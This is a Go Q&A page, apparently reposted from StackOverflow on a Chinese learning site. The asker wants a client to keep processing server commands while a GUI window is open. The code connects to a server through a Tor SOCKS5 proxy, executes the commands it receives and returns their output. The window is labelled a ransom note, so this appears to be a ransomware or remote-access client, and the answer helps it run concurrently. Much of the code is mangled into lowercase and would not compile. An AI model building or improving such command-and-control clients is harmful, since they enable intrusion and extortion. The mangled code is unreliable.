显示 GUI 时在后台处理函数
来源:stackoverflow
时间:2024-04-05 23:27:37 242浏览 收藏
目前golang学习网上已经有很多关于Golang的文章了,自己在初次阅读这些文章中,也见识到了很多学习思路;那么本文《显示 GUI 时在后台处理函数》,也希望能帮助到大家,如果阅读完后真的对你学习Golang有帮助,欢迎动动手指,评论留言并分享~
问题内容
我正在尝试修复此问题以使其正常工作,我希望客户端在后台 initconnection() 并接收命令并在显示命令为“closegui”的消息窗口时处理它们..
func initconnection() {
dialer, err := proxy.socks5("tcp", "127.0.0.1:9050", nil, proxy.direct)
if err != nil {
log.fatal("failed to connect via socks5 proxy:", err)
}
conn, err := dialer.dial("tcp", "localhost")
if err != nil {
log.fatal("failed to connect to server:", err)
}
defer conn.close()
_, err = conn.write([]byte(fmt.sprintf("connected")))
if err != nil {
log.println("error sending information to server:", err)
return
}
fmt.println("connected to server.")
scanner := bufio.newscanner(conn)
for scanner.scan() {
command := scanner.text()
commandandparam := strings.split(command, ",")
receivedcommand := commandandparam[0]
switch receivedcommand {
case "opengui":
drawmessage()
//the problem is when calling drawmessage() and the gui shows the client not processing the command anymore until the gui is closed which is a problem for me because i want to close the gui by commands from the server
case "closegui":
// here i want to hide the gui and set
messageallowed = false
}
// execute the command
output, err := executecommand(receivedcommand)
if err != nil {
log.println("error executing command:", err)
continue
}
// send the command output to the server
_, err = conn.write([]byte(output + "\n"))
if err != nil {
log.println("error sending output to server:", err)
break
}
}
if scanner.err() != nil {
log.println("error reading input:", scanner.err())
}
time.sleep(100 * time.millisecond)
}
gui功能代码:
func drawmessage() {
// create a new fyne application
myapp := app.new()
// create a new window
mywindow := myapp.newwindow("message from the server!")
// create the ransom note message
note := widget.newlabel("hello world")
content := container.newvbox(
note,
)
// set the content of the window
mywindow.setcontent(content)
// show the window
mywindow.showandrun()
}
这是第二次调用的主要函数,我想检查 messageallowed bool 是否显示消息,即使客户端关闭,我也希望保存它,以便当客户端重新连接时再次显示是否允许
func main() {
initConnection()
if src.MessageAllowed == true {
go DrawMessage()
}
}
所以最终我希望客户端接收命令并在显示消息时在后台处理它,并且我想让客户端检查与服务器的最后一次会话是否允许该消息
正确答案
Fyne(或任何 GUI 工具包)无法在后台运行 - 但您的处理程序可以。
在 initConnection 前面使用“go”关键字,而不是 DrawMessage。
今天带大家了解了的相关知识,希望对你有所帮助;关于Golang的技术知识我们会一点点深入介绍,欢迎大家关注golang学习网公众号,一起学习编程~
声明:本文转载于:stackoverflow 如有侵犯,请联系study_golang@163.com删除
相关阅读
更多>
-
502 收藏
-
502 收藏
-
501 收藏
-
501 收藏
-
501 收藏
最新阅读
更多>
-
139 收藏
-
204 收藏
-
325 收藏
-
478 收藏
-
486 收藏
-
439 收藏
-
357 收藏
-
352 收藏
-
101 收藏
-
440 收藏
-
212 收藏
-
143 收藏
课程推荐
更多>
-
- 前端进阶之JavaScript设计模式
- 设计模式是开发人员在软件开发过程中面临一般问题时的解决方案,代表了最佳的实践。本课程的主打内容包括JS常见设计模式以及具体应用场景,打造一站式知识长龙服务,适合有JS基础的同学学习。
- 立即学习 543次学习
-
- GO语言核心编程课程
- 本课程采用真实案例,全面具体可落地,从理论到实践,一步一步将GO核心编程技术、编程思想、底层实现融会贯通,使学习者贴近时代脉搏,做IT互联网时代的弄潮儿。
- 立即学习 516次学习
-
- 简单聊聊mysql8与网络通信
- 如有问题加微信:Le-studyg;在课程中,我们将首先介绍MySQL8的新特性,包括性能优化、安全增强、新数据类型等,帮助学生快速熟悉MySQL8的最新功能。接着,我们将深入解析MySQL的网络通信机制,包括协议、连接管理、数据传输等,让
- 立即学习 500次学习
-
- JavaScript正则表达式基础与实战
- 在任何一门编程语言中,正则表达式,都是一项重要的知识,它提供了高效的字符串匹配与捕获机制,可以极大的简化程序设计。
- 立即学习 487次学习
-
- 从零制作响应式网站—Grid布局
- 本系列教程将展示从零制作一个假想的网络科技公司官网,分为导航,轮播,关于我们,成功案例,服务流程,团队介绍,数据部分,公司动态,底部信息等内容区块。网站整体采用CSSGrid布局,支持响应式,有流畅过渡和展现动画。
- 立即学习 485次学习